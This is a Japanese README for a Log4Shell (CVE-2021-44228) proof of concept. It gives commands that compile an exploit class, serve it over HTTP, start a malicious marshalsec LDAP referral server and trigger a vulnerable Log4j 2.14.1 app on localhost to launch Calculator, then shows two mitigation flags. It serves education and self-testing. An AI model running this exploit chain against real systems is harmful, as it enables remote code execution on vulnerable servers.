
CVE-2021-44228 (Log4Shell) 概念実証

Apache Log4j2 <=2.14.1 の設定、ログメッセージ、パラメータで使用される JNDI 機能は、攻撃者が制御する LDAP およびその他の JNDI 関連エンドポイントから保護されていません。 メッセージルックアップ置換が有効な場合、ログメッセージまたはログメッセージのパラメータを制御できる攻撃者は、LDAP サーバーから読み込まれた任意のコードを実行できます。
この脆弱性の仕組みをご理解いただくために、シンプルかつ実際に動作する概念実証(PoC)を備えたリポジトリを用意しました。
ローカルに以下がインストールされていること:
現時点では、任意のコードは macOS または Windows 上で Calculator アプリケーションを起動します。そのため、この PoC がサポートする OS はこれら 2 つだけです。
すべての情報とコードは、教育目的および/またはこの脆弱性に関して自身のシステムをテストする目的でのみ提供されます。
この PoC は、下の図に示されている攻撃手法を再現したものです(クレジット: GovCERT.ch)。ただし、脆弱なサーバーは簡略化のため単純な Java クラスになっています。この脆弱性はさまざまな方法でトリガーされる可能性があることを理解することが重要です。以下で説明するのはそのうちの 1 つにすぎません。

このリポジトリをクローンします
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
エクスプロイトをコンパイルします(JDK 11 を使用)
terminal1 $ javac Exploit.java
エクスプロイトを配信する HTTP サーバーを起動します
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
悪意のある LDAPRefServer を起動します(https://github.com/mbechler/marshalsec に感謝)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
脆弱なアプリケーション(log4j 2.14.1 を含む)を起動します
terminal3 $ mvn package && mvn exec:exec
すべてが正常に動作した場合、Calculator アプリケーション(任意のコード実行)が表示されるはずです。

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
この場合、Calculator は表示されなくなります。
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
この場合、Calculator は表示されなくなります。